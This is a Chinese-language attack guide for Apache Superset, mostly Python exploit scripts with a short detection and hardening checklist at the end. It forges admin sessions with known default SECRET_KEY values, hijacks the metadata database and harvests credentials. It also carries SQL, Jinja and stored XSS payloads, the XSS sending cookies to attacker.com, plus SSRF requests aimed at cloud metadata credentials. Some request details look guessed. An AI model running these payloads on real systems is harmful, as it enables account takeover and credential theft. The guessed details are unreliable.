Apache Superset SECRET_KEY默认配置 SQL注入 元数据库控制 认证绕过 CVE漏洞链利用技术

nmap -sV -p 8088 <target>

# 检测 Superset
curl -sI http://TARGET:8088/
# Server: gunicorn/xxxx
# 返回 Flask 应用

# 获取版本信息
curl -s http://TARGET:8088/api/v1/info | python3 -m json.tool
# {"version":{"version":"3.0.0","status":"running"}}

# 检查健康端点
curl -s http://TARGET:8088/health

/                                    # 首页
/login/                              # 登录页
/superset/sqllab/                    # SQLLab（核心攻击面）
/api/v1/security/login               # 认证 API
/api/v1/database/                    # 数据库连接 API
/api/v1/dataset/                     # 数据集 API
/api/v1/chart/                       # 图表 API
/api/v1/dashboard/                   # Dashboard API
/api/v1/chart/data/                  # 图表数据查询
/sql/                                # SQL 查询端点
/datasource/edit/                    # 数据源编辑
/importdatabase                      # 数据库导入功能
/health                              # 健康检查（通常无认证）
/version                             # 版本信息
/swagger/v1                          # API 文档

import requests

def detect_superset(host, port=8088):
    base_url = f"http://{host}:{port}"

    # 检查版本
    resp = requests.get(f"{base_url}/api/v1/info", timeout=5)
    if resp.status_code == 200:
        data = resp.json()
        version = data.get("version", {}).get("version", "unknown")
        print(f"[+] Superset detected! Version: {version}")

    # 检查是否可未认证访问
    resp = requests.get(f"{base_url}/health", timeout=5)
    if resp.status_code == 200:
        print(f"[+] Health endpoint accessible")

    # 检查 SQLLab
    resp = requests.get(f"{base_url}/superset/sqllab/", timeout=5,
                        allow_redirects=False)
    if resp.status_code == 302:
        print(f"[*] SQLLab requires authentication")
    elif resp.status_code == 200:
        print(f"[+] SQLLab accessible WITHOUT auth!")

    # 检查 API
    resp = requests.get(f"{base_url}/api/v1/database/", timeout=5)
    print(f"[*] Database API: {resp.status_code}")

detect_superset("192.168.1.100")

\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
TEST_NON_DEV_SECRET
thisISaSECRET_1234
USE_YOUR_OWN_SECURE_RANDOM_KEY

from itsdangerous import URLSafeTimedSerializer
import requests
import hashlib

def exploit_secret_key(host, port=8088, secret_key="thisISaSECRET_1234"):
    """
    CVE-2023-27524 — 使用默认 SECRET_KEY 伪造管理员 Session
    """
    base_url = f"http://{host}:{port}"

    # Step 1: 伪造 admin session cookie
    serializer = URLSafeTimedSerializer(secret_key)

    # 需要构造正确的 session 数据结构
    # Flask session 使用 itsdangerous 的签名机制
    import flask_unsign as fu  # 需要安装 flask_unsign

    # 使用已知的默认 SECRET_KEY 签名伪造 session
    # flask_unsign 签名: flask_unsign.session.sign(data, secret_key)

    # 或手动构造:
    # 1. 抓取登录后正常 session cookie
    # 2. 使用默认 SECRET_KEY 重新签名
    # 3. 替换 cookie 后访问受保护页面

    print(f"[*] Default SECRET_KEY: {secret_key}")
    print(f"[*] Use flask_unsign or similar tool to forge admin session")
    print(f"[*] Step 1: Get a valid session cookie by visiting login page")
    print(f"[*] Step 2: Decode cookie, set user_id=1 (admin)")
    print(f"[*] Step 3: Re-sign with known SECRET_KEY")
    print(f"[*] Step 4: Use forged cookie to access SQLLab")

exploit_secret_key("192.168.1.100",
                    secret_key="\\x02\\x01thisismyscretkey\\x01\\x02\\e\\y\\y\\h")

def full_attack_chain(host, port=8088):
    """
    CVE-2023-27524 完整攻击链
    1. 伪造管理员 Session
    2. 在 SQLLab 中连接元数据库
    3. 通过元数据库执行 RCE
    """
    base_url = f"http://{host}:{port}"

    # Step 1: 使用 flask_unsign 伪造 session
    # pip install flask_unsign
    # flask_unsign --decode --cookie 'eyJ...' --secret 'thisISaSECRET_1234'

    # Step 2: 登录后获取 token，连接元数据库
    # SQLLab → 创建数据库连接:
    #   SQLAlchemy URI: sqlite:////app/superset_home/superset.db
    #   或: sqlite+pysqlite:////path/to/metadata.db

    # Step 3: 在 SQLLab 执行恶意 SQL
    # SELECT * FROM users;   → 获取所有用户
    # SELECT * FROM ab_user WHERE role_id=1;  → 获取管理员

    # Step 4: 通过修改连接配置实现 RCE
    # 创建到恶意 MySQL 服务器的连接
    # MySQL 连接参数中设置: allowLoadLocalInFile=true
    # 然后读取服务器文件或通过 LOAD DATA LOCAL INFILE 读取文件

    print(f"[*] Full attack chain:")
    print(f"    1. Forge admin session using default SECRET_KEY")
    print(f"    2. Access SQLLab")
    print(f"    3. Connect to metadata DB (SQLite)")
    print(f"    4. Harvest all credentials from ab_user table")
    print(f"    5. Create malicious database connection for RCE")

full_attack_chain("192.168.1.100")

import requests
import json

def exploit_metadata_db(host, port=8088, token=None):
    """
    CVE-2023-39265 — SQLite 元数据库劫持
    需要已登录的 Session (可通过 CVE-2023-27524 获取)
    """
    base_url = f"http://{host}:{port}"
    headers = {"Authorization": f"Bearer {token}"}

    # Step 1: 创建连接到 Superset 元数据库
    # 关键绕过: 使用 sqlite+pysqlite 格式
    db_config = {
        "database_name": "metadata_hijack",
        "engine": "sqlite",
        "sqlalchemy_uri": "sqlite+pysqlite:////app/superset_home/superset.db",
        "expose_in_sqllab": True,
        "allow_dml": True,
        "allow_run_async": False
    }

    resp = requests.post(f"{base_url}/api/v1/database/",
                         json=db_config, headers=headers, timeout=10)
    print(f"[*] Create metadata connection: {resp.status_code}")

    # Step 2: 在 SQLLab 中查询元数据
    # SELECT * FROM ab_user;               → 用户表
    # SELECT * FROM dbs;                    → 数据库连接表（含密码）
    # SELECT * FROM tables;                 → 数据集表
    # SELECT * FROM key_value;              → 配置表

    # Step 3: 修改配置实现持久化
    # UPDATE key_value SET value='恶意配置' WHERE key='secret_key';

    print(f"[+] After connecting, run SQL to harvest credentials")
    print(f"[*] Query: SELECT username, password FROM ab_user;")

exploit_metadata_db("192.168.1.100")

def exploit_rce_via_database(host, port=8088, token=None):
    """
    CVE-2023-37941 — 通过恶意 MySQL 连接实现 RCE
    原理: 创建到攻击者控制的 MySQL 服务器的连接
    MySQL 利用 LOAD DATA LOCAL INFILE 读取文件
    """
    base_url = f"http://{host}:{port}"
    headers = {"Authorization": f"Bearer {token}"}

    # 攻击者需要运行恶意 MySQL 服务器
    # 当 Superset 连接到恶意 MySQL 时
    # MySQL 发送 LOAD DATA LOCAL INFILE 请求
    # 读取 Superset 服务器上的任意文件

    db_config = {
        "database_name": "evil_db",
        "engine": "mysql",
        "sqlalchemy_uri": "mysql://user:pass@attacker-mysql:3306/test?allowLoadLocalInFile=true",
        "expose_in_sqllab": True,
        "allow_dml": True
    }

    resp = requests.post(f"{base_url}/api/v1/database/",
                         json=db_config, headers=headers, timeout=10)
    print(f"[*] Create malicious MySQL connection: {resp.status_code}")
    print(f"[+] When Superset queries this connection,")
    print(f"    the malicious MySQL server reads local files via LOAD DATA LOCAL INFILE")

exploit_rce_via_database("192.168.1.100")

def exploit_sql_injection(host, port=8088, token=None):
    """
    CVE-2022-41703 — Superset SQLLab 中的 SQL 注入
    某些 adhoc 查询参数未正确过滤
    """
    base_url = f"http://{host}:{port}"
    headers = {"Authorization": f"Bearer {token}"}

    # 在 SQLLab 的 adhoc 查询中注入
    # 正常查询:
    # SELECT * FROM users WHERE name = '<USER_INPUT>'

    # SQL 注入:
    malicious_input = "'; SELECT password FROM ab_user WHERE username='admin' --"
    print(f"[*] SQL Injection payload: {malicious_input}")

    # 通过 API 执行
    query = {
        "database_id": 1,
        "sql": f"SELECT * FROM users WHERE name = '{malicious_input}'",
        "runAsync": False
    }

    resp = requests.post(f"{base_url}/api/v1/chart/data/",
                         json=query, headers=headers, timeout=10)
    print(f"[*] SQL Injection result: {resp.status_code}")

exploit_sql_injection("192.168.1.100")

def exploit_jinja_injection(host, port=8088, token=None):
    """
    CVE-2023-49736 — Jinja 模板 SQL 注入
    Superset 支持 Jinja 模板的 SQL 查询
    某些 Jinja 函数调用未正确过滤
    """
    base_url = f"http://{host}:{port}"
    headers = {"Authorization": f"Bearer {token}"}

    # Jinja SQL 模板注入
    # Superset 使用 Jinja 渲染 SQL 模板
    # 攻击者可以调用未限制的 Jinja 函数

    jinja_payloads = [
        # where_in Jinja 宏注入
        "{{ config.SQLLAB_EXECUTE_FUNCTION }}",
        # 调用 Python 函数
        "{{ lipsum.__globals__['__builtins__'].exec('import os; os.system(\"id\")') }}",
        # 利用 Flask 上下文
        "{{ config.from_object('os') }}",
    ]

    for payload in jinja_payloads:
        query = {
            "database_id": 1,
            "sql": f"SELECT 1",
            "runAsync": False,
            "runSql": payload
        }
        resp = requests.post(f"{base_url}/api/v1/chart/data/",
                             json=query, headers=headers, timeout=5)
        print(f"[*] Payload: {payload[:50]} -> Status: {resp.status_code}")

exploit_jinja_injection("192.168.1.100")

def exploit_ssrf(host, port=8088, token=None):
    """
    CVE-2023-25504 — 通过 Dataset 导入触发 SSRF
    """
    base_url = f"http://{host}:{port}"
    headers = {"Authorization": f"Bearer {token}"}

    # 通过 Dataset Import 触发 SSRF
    # Superset 在导入数据集时会获取远程文件
    ssrf_url = "http://169.254.169.254/latest/meta-data/"

    dataset_config = {
        "database": 1,
        "table_name": "ssrf_test",
        "url": ssrf_url  # 触发 SSRF
    }

    resp = requests.post(f"{base_url}/api/v1/dataset/import",
                         json=dataset_config, headers=headers, timeout=10)
    print(f"[*] SSRF attempt: {resp.status_code}")

exploit_ssrf("192.168.1.100")

def steal_cloud_metadata(host, port=8088, token=None):
    """
    通过 Superset SSRF 窃取云元数据
    """
    base_url = f"http://{host}:{port}"
    headers = {"Authorization": f"Bearer {token}"}

    targets = {
        "AWS": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
        "GCP": "http://metadata.google.internal/computeMetadata/v1/",
        "Azure": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
    }

    for cloud, url in targets.items():
        db_config = {
            "database_name": f"{cloud}_ssrf",
            "engine": "sqlite",
            "sqlalchemy_uri": f"sqlite+pysqlite:////dev/null",
            "extra": f'{{"metadata_params":{{"url":"{url}"}}}}'
        }
        resp = requests.post(f"{base_url}/api/v1/database/",
                             json=db_config, headers=headers, timeout=10)
        print(f"[*] {cloud} SSRF: {resp.status_code}")

steal_cloud_metadata("192.168.1.100")

def harvest_database_credentials(host, port=8088, token=None):
    """
    CVE-2023-30776 — 从 Database API 窃取连接密码
    """
    base_url = f"http://{host}:{port}"
    headers = {"Authorization": f"Bearer {token}"}

    # 获取所有数据库连接（含密码明文）
    resp = requests.get(f"{base_url}/api/v1/database/",
                        headers=headers, timeout=10)
    databases = resp.json().get("databases", [])

    for db in databases:
        db_id = db.get("id")
        print(f"\n[*] Database: {db.get('database_name')}")
        print(f"    Engine: {db.get('backend')}")
        print(f"    Host: {db.get('sqlalchemy_uri', '')[:50]}...")

        # 通过 API 获取完整连接详情（含密码）
        resp = requests.get(f"{base_url}/api/v1/database/{db_id}/select_star/{db.get('tables', [])}",
                            headers=headers, timeout=10)

        # 尝试获取数据库配置
        resp = requests.get(f"{base_url}/api/v1/database/{db_id}",
                            headers=headers, timeout=10)
        if resp.status_code == 200:
            db_detail = resp.json()
            print(f"    URI: {db_detail.get('database', {}).get('sqlalchemy_uri', 'N/A')}")

harvest_database_credentials("192.168.1.100")

def exploit_stored_xss(host, port=8088, token=None):
    """
    CVE-2023-49657 — Dashboard/Chart 标题存储型 XSS
    """
    base_url = f"http://{host}:{port}"
    headers = {"Authorization": f"Bearer {token}"}

    # 在 Dashboard 标题中注入 XSS payload
    xss_payload = '<img src=x onerror="fetch(\'http://attacker.com/steal?t=\'+document.cookie)">'

    resp = requests.post(f"{base_url}/api/v1/dashboard/",
        json={
            "dashboard_title": xss_payload,
            "slug": "xss-dashboard"
        },
        headers=headers, timeout=10)
    print(f"[*] XSS Dashboard created: {resp.status_code}")
    print(f"[+] Deliver link to victim: {base_url}/superset/dashboard/xss-dashboard/")

exploit_stored_xss("192.168.1.100")

# 通过 API 端点注入 XSS
xss_payloads = [
    '<script>alert(document.cookie)</script>',
    '<img src=x onerror="alert(1)">',
    '<svg/onload=alert(document.domain)>',
]

for payload in xss_payloads:
    resp = requests.post(f"{base_url}/api/v1/chart/",
        json={
            "slice_name": payload,
            "viz_type": "pie",
            "datasource_id": 1,
            "datasource_type": "table"
        },
        headers=headers, timeout=5)
    print(f"[*] Chart XSS: {resp.status_code}")

# 检查默认 SECRET_KEY
grep -r "SECRET_KEY\|thisismyscretkey\|TEST_NON_DEV" superset_home/
grep -r "thisISaSECRET" superset_home/

# 检查异常数据库连接创建
grep "database.*created" superset/logs/*.log
grep "sqlalchemy_uri" superset/logs/*.log | grep -v "normal_db"

# 检查 SQLLab 异常查询
grep "sqllab\|sql.*execute" superset/logs/*.log
grep "SELECT.*FROM.*ab_user" superset/logs/*.log
grep "SELECT.*FROM.*dbs" superset/logs/*.log

# 检查 Import 功能滥用
grep "importdatabase\|import.*database" superset/logs/*.log

# 检查 XSS 尝试
grep "script\|onerror\|onload" superset/logs/*.log

[ ] 确认 Superset 版本与已安装补丁
    - pip show apache-superset

[ ] 排查 CVE-2023-27524 (SECRET_KEY)
    - 检查 SUPERSET_SECRET_KEY 环境变量
    - 检查 superset_config.py 中的 SECRET_KEY
    - 确认是否使用默认值
    - 如已泄露，立即更换并强制所有用户重新登录

[ ] 排查元数据库劫持 (CVE-2023-39265)
    - 审计所有数据库连接配置
    - 检查是否有 sqlite 连接到元数据库
    - 检查 ab_user 表是否有异常用户

[ ] 排查凭据泄露 (CVE-2023-30776)
    - 审计所有数据库连接密码
    - 轮换所有数据库/服务凭据

[ ] 排查 SQL 注入 (CVE-2022-41703 / CVE-2023-49736)
    - 检查 SQLLab 查询历史
    - 搜索可疑的 SELECT/INSERT/DELETE 语句

[ ] 排查 XSS (CVE-2023-49657)
    - 检查所有 Dashboard/Chart 标题
    - 搜索 HTML/JavaScript 标签

[ ] 网络隔离与加固
    - 更改默认 SECRET_KEY 为强随机字符串
    - 禁用默认 admin:admin 凭据
    - 配置 SQLLab 权限控制
    - 限制元数据库外部访问
    - 启用 SQL 审计日志

[ ] SECRET_KEY 已更改为强随机字符串（非默认值）
[ ] 默认管理员凭据 (admin/admin) 已修改
[ ] SQLLab 仅对授权用户开放
[ ] 数据库连接不允许 DML (INSERT/UPDATE/DELETE)（除非必要）
[ ] SQLite 连接在 SQLLab 中被禁用
[ ] Import 功能限制数据库类型
[ ] 元数据库 (PostgreSQL) 启用认证且仅内网可达
[ ] Dashboard/Chart 标题输入做了 XSS 过滤
[ ] CSRF 保护已启用
[ ] 审计日志启用并远程收集
[ ] Superset 版本 ≥ 4.0.2（最新稳定版）
[ ] 配置 CSP 头部防止 XSS
[ ] 限制 Superset 出站网络访问 (防止 SSRF)
[ ] 定期轮换数据库连接密码